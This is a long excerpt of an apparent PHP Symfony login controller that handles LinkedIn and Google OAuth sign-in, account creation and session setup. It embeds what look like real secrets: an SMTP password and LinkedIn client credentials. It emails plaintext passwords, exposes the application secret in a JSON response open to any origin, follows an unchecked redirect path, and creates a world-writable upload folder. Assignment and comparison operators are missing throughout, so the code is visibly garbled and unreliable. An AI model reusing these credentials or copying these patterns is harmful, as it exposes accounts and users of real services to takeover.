  6051.                 ));
  6052.                 $userGeneralcontent curl_exec($curl);
  6053.                 curl_close($curl);
  6054.                 if ($userGeneralcontent) {
  6055.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6056.                 }
  6057.                 $curl curl_init();
  6058.                 curl_setopt_array($curl, array(
  6059.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6060.                     CURLOPT_HEADER => false,  // don't return headers
  6061.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6062.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6063.                     CURLOPT_ENCODING => "",     // handle compressed
  6064.                     CURLOPT_USERAGENT => "test"// name of client
  6065.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6066.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6067.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6068.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6069. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6070.                     CURLOPT_USERAGENT => 'InnoPM',
  6071.                     CURLOPT_HTTPGET => 1,
  6072.                     CURLOPT_HTTPHEADER => array(
  6073.                         'Authorization: Bearer ' $token,
  6074.                         'Header-Key-2: Header-Value-2'
  6075.                     )
  6076.                 ));
  6077.                 $userEmailcontent curl_exec($curl);
  6078.                 curl_close($curl);
  6079.                 $token false;
  6080.                 if ($userEmailcontent) {
  6081.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6082.                 }
  6083. //        $oAuthEmail = $applicantInfo['email'];
  6084. //        return new JsonResponse(array(
  6085. //          'userEmailcontent'=>$userEmailcontent,
  6086. //          'userGeneralcontent'=>$userGeneralcontent,
  6087. //        ));
  6088. //        return new response($userGeneralcontent);
  6089.                 $oAuthData = [
  6090.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6091.                     'uniqueId' => $userGeneralcontent['id'],
  6092.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6093.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6094.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6095.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6096.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6097.                     'type' => 1,
  6098.                     'token' => $token,
  6099.                 ];
  6100.             }
  6101.         } else if (isset($_GET["code"])) {
  6102.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6103.             if (!isset($token['error'])) {
  6104.                 $google_client->setAccessToken($token['access_token']);
  6105.                 $google_service = new Google_Service_Oauth2($google_client);
  6106.                 $applicantInfo $google_service->userinfo->get();
  6107.                 $oAuthEmail $applicantInfo['email'];
  6108.                 $oAuthData = [
  6109.                     'email' => $applicantInfo['email'],
  6110.                     'uniqueId' => $applicantInfo['id'],
  6111.                     'image' => $applicantInfo['picture'],
  6112.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6113.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6114.                     'firstName' => $applicantInfo['givenName'],
  6115.                     'lastName' => $applicantInfo['familyName'],
  6116.                     'type' => $token['token_type'],
  6117.                     'token' => $token['access_token'],
  6118.                 ];
  6119.             }
  6120.         }
  6121.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6122.             $isApplicantExist $applicantRepo->findOneBy([
  6123.                 'email' => $oAuthData['email']
  6124.             ]);
  6125.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6126.                 $isApplicantExist $applicantRepo->findOneBy([
  6127.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6128.                 ]);
  6129.             }
  6130.             if ($isApplicantExist) {
  6131.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6132.                 } else
  6133.                     return $this->redirectToRoute("core_login", [
  6134.                         'id' => $isApplicantExist->getApplicantId(),
  6135.                         'oAuthData' => $oAuthData,
  6136.                         'encData' => $encData,
  6137.                         'locale' => $request->request->get('locale''en'),
  6138.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6139.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6140.                     ]);
  6141.             } else {
  6142.                 $fname $oAuthData['firstName'];
  6143.                 $lname $oAuthData['lastName'];
  6144.                 $img $oAuthData['image'];
  6145.                 $email $oAuthData['email'];
  6146.                 $oAuthEmail $oAuthData['email'];
  6147.                 $userName explode('@'$email)[0];
  6148.                 //now check if same username exists
  6149.                 $username_already_exist 1;
  6150.                 $initial_user_name $userName;
  6151.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6152.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6153.                     $isUsernameExist $applicantRepo->findOneBy([
  6154.                         'username' => $userName
  6155.                     ]);
  6156.                     if ($isUsernameExist) {
  6157.                         $username_already_exist 1;
  6158.                         $userName $initial_user_name '' rand(3009987);
  6159.                     } else {
  6160.                         $username_already_exist 0;
  6161.                     }
  6162.                     $timeoutSafeCount--;
  6163.                 }
  6164.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6165.                     $currentUnixTimeStamp '';
  6166.                     $currentUnixTime = new \DateTime();
  6167.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6168.                     $userName $userName '' $currentUnixTimeStamp;
  6169.                 }
  6170.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6171.                 $charactersLength strlen($characters);
  6172.                 $length 8;
  6173.                 $password 0;
  6174.                 for ($i 0$i $length$i++) {
  6175.                     $password .= $characters[rand(0$charactersLength 1)];
  6176.                 }
  6177.                 $newApplicant = new EntityApplicantDetails();
  6178.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6179.                 $newApplicant->setEmail($email);
  6180.                 $newApplicant->setUserName($userName);
  6181.                 $newApplicant->setFirstname($fname);
  6182.                 $newApplicant->setLastname($lname);
  6183.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6184.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6185.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6186.                 $newApplicant->setAccountStatus(1);
  6187.                 //salt will be username
  6188. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6189.                 $salt uniqid(mt_rand());
  6190.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6191.                 $newApplicant->setPassword($encodedPassword);
  6192.                 $newApplicant->setSalt($salt);
  6193.                 $newApplicant->setTempPassword($password);
  6194. //                $newApplicant->setPassword($password);
  6195.                 $marker $userName '-' time();
  6196. //                $extension_here=$uploadedFile->guessExtension();
  6197. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6198. //                $path = $fileName;
  6199.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6200.                 if (!file_exists($upl_dir)) {
  6201.                     mkdir($upl_dir0777true);
  6202.                 }
  6203.                 $ch curl_init($img);
  6204.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6205.                 curl_setopt($chCURLOPT_FILE$fp);
  6206.                 curl_setopt($chCURLOPT_HEADER0);
  6207.                 curl_exec($ch);
  6208.                 curl_close($ch);
  6209.                 fclose($fp);
  6210.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6211. //                $newApplicant->setImage($img);
  6212.                 $newApplicant->setIsConsultant(0);
  6213.                 $newApplicant->setIsTemporaryEntry(0);
  6214.                 $newApplicant->setApplyForConsultant(0);
  6215.                 $newApplicant->setTriggerResetPassword(0);
  6216.                 $em->persist($newApplicant);
  6217.                 $em->flush();
  6218.                 $isApplicantExist $newApplicant;
  6219.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6220.                     if ($systemType == '_BUDDYBEE_') {
  6221.                         $bodyHtml '';
  6222.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6223.                         $bodyData = array(
  6224.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6225.                             'email' => $userName,
  6226.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6227.                             'password' => $newApplicant->getTempPassword(),
  6228.                         );
  6229.                         $attachments = [];
  6230.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6231. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6232.                         $new_mail $this->get('mail_module');
  6233.                         $new_mail->sendMyMail(array(
  6234.                             'senderHash' => '_CUSTOM_',
  6235.                             //                        'senderHash'=>'_CUSTOM_',
  6236.                             'forwardToMailAddress' => $forwardToMailAddress,
  6237.                             'subject' => 'Welcome to BuddyBee ',
  6238. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6239.                             'attachments' => $attachments,
  6240.                             'toAddress' => $forwardToMailAddress,
  6241.                             'fromAddress' => 'registration@buddybee.eu',
  6242.                             'userName' => 'registration@buddybee.eu',
  6243.                             'password' => 'Y41dh8g0112',
  6244.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6245.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6246.                             'encryptionMethod' => 'ssl',
  6247. //                            'emailBody' => $bodyHtml,
  6248.                             'mailTemplate' => $bodyTemplate,
  6249.                             'templateData' => $bodyData,
  6250. //                        'embedCompanyImage' => 1,
  6251. //                        'companyId' => $companyId,
  6252. //                        'companyImagePath' => $company_data->getImage()
  6253.                         ));
  6254.                     } else {
  6255.                         $bodyHtml '';
  6256.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6257.                         $bodyData = array(
  6258.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6259.                             'email' => 'APP-' $userName,
  6260.                             'password' => $newApplicant->getPassword(),
  6261.                         );
  6262.                         $attachments = [];
  6263.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6264. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6265.                         $new_mail $this->get('mail_module');
  6266.                         $new_mail->sendMyMail(array(
  6267.                             'senderHash' => '_CUSTOM_',
  6268.                             //                        'senderHash'=>'_CUSTOM_',
  6269.                             'forwardToMailAddress' => $forwardToMailAddress,
  6270.                             'subject' => 'Applicant Registration on Honeybee',
  6271. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6272.                             'attachments' => $attachments,
  6273.                             'toAddress' => $forwardToMailAddress,
  6274.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6275.                             'userName' => 'accounts@ourhoneybee.eu',
  6276.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6277.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6278.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6279.                             'encryptionMethod' => 'ssl',
  6280. //                            'emailBody' => $bodyHtml,
  6281.                             'mailTemplate' => $bodyTemplate,
  6282.                             'templateData' => $bodyData,
  6283. //                        'embedCompanyImage' => 1,
  6284. //                        'companyId' => $companyId,
  6285. //                        'companyImagePath' => $company_data->getImage()
  6286.                         ));
  6287.                     }
  6288.                 }
  6289.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6290.                 } else {
  6291.                     return $this->redirectToRoute("core_login", [
  6292.                         'id' => $newApplicant->getApplicantId(),
  6293.                         'oAuthData' => $oAuthData,
  6294.                         'encData' => $encData,
  6295.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6296.                         'locale' => $request->request->get('locale''en'),
  6297.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6298.                     ]);
  6299.                 }
  6300.             }
  6301.         }
  6302.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6303.             if ($isApplicantExist) {
  6304.                 $user $isApplicantExist;
  6305.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6306.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6307.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6308.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6309.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6310.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6311.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6312.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6313.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6314.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6315.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6316.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6317.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6318.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6319.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6320.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6321.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6322.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6323.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6324.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6325.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6326.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6327.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6328.                     $session->set('userCompanyVibrantList'json_encode([]));
  6329.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6330.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6331.                     $session->set(UserConstants::USER_APP_ID0);
  6332.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6333.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6334.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6335.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6336.                     $session->set(UserConstants::USER_GOC_ID0);
  6337.                     $session->set(UserConstants::USER_DB_NAME'');
  6338.                     $session->set(UserConstants::USER_DB_USER'');
  6339.                     $session->set(UserConstants::USER_DB_PASS'');
  6340.                     $session->set(UserConstants::USER_DB_HOST'');
  6341.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6342.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6343.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6344.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6345.                     $session->set('locale'$request->request->get('locale'''));
  6346.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6347.                     $route_list_array = [];
  6348.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6349.                     $loginID 0;
  6350.                     $loginID MiscActions::addEntityUserLoginLog(
  6351.                         $em,
  6352.                         $session->get(UserConstants::USER_ID),
  6353.                         $session->get(UserConstants::USER_ID),
  6354.                         1,
  6355.                         $request->server->get("REMOTE_ADDR"),
  6356.                         0,
  6357.                         $request->request->get('deviceId'''),
  6358.                         $request->request->get('oAuthToken'''),
  6359.                         $request->request->get('oAuthType'''),
  6360.                         $request->request->get('locale'''),
  6361.                         $request->request->get('firebaseToken''')
  6362.                     );
  6363.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6364.                     $session_data = array(
  6365.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6366.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6367.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6368.                         'oAuthToken' => $session->get('oAuthToken'),
  6369.                         'locale' => $session->get('locale'),
  6370.                         'firebaseToken' => $session->get('firebaseToken'),
  6371.                         'token' => $session->get('token'),
  6372.                         'firstLogin' => 0,
  6373.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6374.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6375.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6376.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6377.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6378.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6379.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6380.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6381.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6382.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6383.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6384.                         'oAuthImage' => $session->get('oAuthImage'),
  6385.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6386.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6387.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6388.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6389.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6390.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6391.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6392.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6393.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6394.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6395.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6396.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6397.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6398.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6399.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6400.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6401.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6402.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6403.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6404.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6405.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6406.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6407.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6408.                         //new
  6409.                         'appIdList' => $session->get('appIdList'),
  6410.                         'branchIdList' => $session->get('branchIdList'null),
  6411.                         'branchId' => $session->get('branchId'null),
  6412.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6413.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6414.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6415.                     );
  6416.                     $session_data $this->filterClientSessionData($session_data);
  6417.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6418.                     $session_data $tokenData['sessionData'];
  6419.                     $token $tokenData['token'];
  6420.                     $session->set('token'$token);
  6421.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6422.                         $session->set('remoteVerified'1);
  6423.                         $response = new JsonResponse(array(
  6424.                             'token' => $token,
  6425.                             'uid' => $session->get(UserConstants::USER_ID),
  6426.                             'session' => $session,
  6427.                             'success' => true,
  6428.                             'session_data' => $session_data,
  6429.                         ));
  6430.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6431.                         return $response;
  6432.                     }
  6433.                     if ($request->request->has('referer_path')) {
  6434.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6435.                             return $this->redirect($request->request->get('referer_path'));
  6436.                         }
  6437.                     }
  6438.                     $redirectRoute 'applicant_dashboard';
  6439.                     if ($request->query->has('encData')) {
  6440.                         if ($request->query->get('encData') == '8917922')
  6441.                             $redirectRoute 'apply_for_consultant';
  6442.                     }
  6443.                     return $this->redirectToRoute($redirectRoute);
  6444.                 }
  6445. //                    $response = new JsonResponse(array(
  6446. //                        'token' => $token,
  6447. //                        'uid' => $session->get(UserConstants::USER_ID),
  6448. //                        'session' => $session,
  6449. //
  6450. //                        'success' => true,
  6451. //                        'session_data' => $session_data,
  6452. //
  6453. //                    ));
  6454. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6455. //                    return $response;
  6456. //                    return $this->redirectToRoute("user_login", [
  6457. //                        'id' => $isApplicantExist->getApplicantId(),
  6458. //                        'oAuthData' => $oAuthData,
  6459. //                        'encData' => $encData,
  6460. //                        'locale' => $request->request->get('locale', 'en'),
  6461. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6462. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6463. //                    ]);
  6464.             }
  6465.         }
  6466. //        if ($request->isMethod('POST')){
  6467. //            $new = new EntityApplicantDetails();
  6468. //
  6469. //            $new-> setUsername->$request->request->get('userName');
  6470. //            $new-> setEmail()->$request->request->get('email');
  6471. //            $new-> setPassword()->$request->request->get('password');
  6472. //            $new-> setSelector()->$request->request->get('selector');
  6473. //
  6474. //
  6475. //            $em->persist($new);
  6476. //            $em->flush();
  6477. //        }
  6478.         $selector BuddybeeConstant::$selector;
  6479.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6480.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6481.         if ($systemType == '_ERP_') {
  6482.         } else if ($systemType == '_BUDDYBEE_') {
  6483.             return $this->render(
  6484.                 '@Authentication/pages/views/applicant_login.html.twig',
  6485.                 [
  6486.                     'page_title' => 'BuddyBee Login',
  6487.                     'oAuthLink' => $google_client->createAuthUrl(),
  6488.                     'redirect_url' => $url,
  6489.                     'message' => $message,
  6490.                     'errorField' => $errorField,
  6491.                     'encData' => $encData,
  6492.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6493.                     'selector' => $selector
  6494.                 ]
  6495.             );
  6496.         }
  6497.         return $this->render(
  6498.             '@Authentication/pages/views/applicant_login.html.twig',
  6499.             [
  6500.                 'page_title' => 'Applicant Registration',
  6501.                 'oAuthLink' => $google_client->createAuthUrl(),
  6502.                 'redirect_url' => $url,
  6503.                 'encData' => $encData,
  6504.                 'message' => $message,
  6505.                 'errorField' => $errorField,
  6506.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6507.                 'selector' => $selector
  6508.             ]
  6509.         );
  6510.     }
  6511.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6512.     {
  6513.         $session $request->getSession();
  6514.         $email $request->getSession()->get('userEmail');
  6515.         $sessionUserId $request->getSession()->get('userId');
  6516.         $oAuthData = [];
  6517. //    $encData='';
  6518.         $em $this->getDoctrine()->getManager('company_group');
  6519.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6520.         $redirectRoute 'dashboard';
  6521.         if ($encData != '') {
  6522.             if ($encData == '8917922')
  6523.                 $redirectRoute 'apply_for_consultant';
  6524.         }
  6525.         if ($request->query->has('encData')) {
  6526.             $encData $request->query->get('encData');
  6527.             if ($encData == '8917922')
  6528.                 $redirectRoute 'apply_for_consultant';
  6529.         }
  6530.         $message '';
  6531.         $errorField '_NONE_';
  6532.         if ($request->query->has('message')) {
  6533.             $message $request->query->get('message');
  6534.         }
  6535.         if ($request->query->has('errorField')) {
  6536.             $errorField $request->query->get('errorField');
  6537.         }
  6538.         if ($request->request->has('oAuthData')) {
  6539.             $oAuthData $request->request->get('oAuthData', []);
  6540.         } else {
  6541.             $oAuthData = [
  6542.                 'email' => $request->request->get('email'''),
  6543.                 'uniqueId' => $request->request->get('uniqueId'''),
  6544.                 'oAuthHash' => '_NONE_',
  6545.                 'image' => $request->request->get('image'''),
  6546.                 'emailVerified' => $request->request->get('emailVerified'''),
  6547.                 'name' => $request->request->get('name'''),
  6548.                 'firstName' => $request->request->get('firstName'''),
  6549.                 'lastName' => $request->request->get('lastName'''),
  6550.                 'type' => 1,
  6551.                 'token' => $request->request->get('oAuthtoken'''),
  6552.             ];
  6553.         }
  6554.         $isApplicantExist null;
  6555.         if ($email) {
  6556.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6557.                 $isApplicantExist $applicantRepo->findOneBy([
  6558.                     'applicantId' => $sessionUserId
  6559.                 ]);
  6560.             } else
  6561.                 return $this->redirectToRoute($redirectRoute);
  6562.         }
  6563.         $google_client = new Google_Client();
  6564. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6565. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6566.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6567.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6568.         } else {
  6569.             $url $this->generateUrl(
  6570.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6571.             );
  6572.         }
  6573.         $selector BuddybeeConstant::$selector;
  6574.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6575.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6576. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6577. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6578.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6579. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6580.         $google_client->setRedirectUri($url);
  6581.         $google_client->setAccessType('offline');        // offline access
  6582.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6583.         $google_client->addScope('email');
  6584.         $google_client->addScope('profile');
  6585.         $google_client->addScope('openid');
  6586. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6587.         //linked in 1st
  6588.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6589.             $curl curl_init();
  6590.             curl_setopt_array($curl, array(
  6591.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6592.                 CURLOPT_HEADER => false,  // don't return headers
  6593.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6594.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6595.                 CURLOPT_ENCODING => "",     // handle compressed
  6596.                 CURLOPT_USERAGENT => "test"// name of client
  6597.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6598.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6599.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6600.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6601.                 CURLOPT_USERAGENT => 'InnoPM',
  6602.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6603.                 CURLOPT_POST => 1,
  6604.                 CURLOPT_HTTPHEADER => array(
  6605.                     'Content-Type: application/x-www-form-urlencoded'
  6606.                 )
  6607.             ));
  6608.             $content curl_exec($curl);
  6609.             $contentArray = [];
  6610.             curl_close($curl);
  6611.             $token false;
  6612. //      return new JsonResponse(array(
  6613. //          'content'=>$content,
  6614. //          'contentArray'=>json_decode($content,true),
  6615. //
  6616. //      ));
  6617.             if ($content) {
  6618.                 $contentArray json_decode($contenttrue);
  6619.                 $token $contentArray['access_token'];
  6620.             }
